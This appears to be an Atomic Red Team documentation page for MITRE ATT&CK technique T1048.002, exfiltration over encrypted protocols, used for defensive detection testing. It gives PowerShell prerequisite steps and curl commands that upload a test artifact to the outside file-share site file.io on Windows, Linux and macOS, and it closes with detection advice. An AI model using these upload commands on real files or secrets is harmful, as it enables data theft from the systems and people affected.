T1048.002 - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol#

Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.

Atomic Tests#

Atomic Test #1 - Exfiltrate data HTTPS using curl windows#

Exfiltrate data HTTPS using curl to file share site file.io

Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: Curl must be installed on system.#
Check Prereq Commands:#
if (Test-Path C:\Windows\System32\Curl.exe) {exit 0} else {exit 1}

Get Prereq Commands:#
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://curl.se/windows/dl-8.4.0_6/curl-8.4.0_6-win64-mingw.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"
Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl"
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-8.4.0_6-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe

Description: #{input_file} must be exist on system.#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder/T1048.002/src/artifact") {exit 0} else {exit 1}

Get Prereq Commands:#
New-Item -Type Directory (split-path "PathToAtomicsFolder/T1048.002/src/artifact") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1048.002/src/artifact" -OutFile "PathToAtomicsFolder/T1048.002/src/artifact"

Invoke-AtomicTest T1048.002 -TestNumbers 1 -GetPreReqs

Attack Commands: Run with command_prompt#

C:\Windows\System32\Curl.exe -k -F "file=@PathToAtomicsFolder/T1048.002/src/artifact" https://file.io/
Invoke-AtomicTest T1048.002 -TestNumbers 1

Atomic Test #2 - Exfiltrate data HTTPS using curl freebsd,linux or macosExfiltrate data HTTPS using curl to file share site file.io#

Supported Platforms: macos, linux Elevation Required (e.g. root or admin)#### Attack Commands: Run with bash

curl -F 'file=@PathToAtomicsFolder/T1048.002/src/artifact' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/
Invoke-AtomicTest T1048.002 -TestNumbers 2

Detection#

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)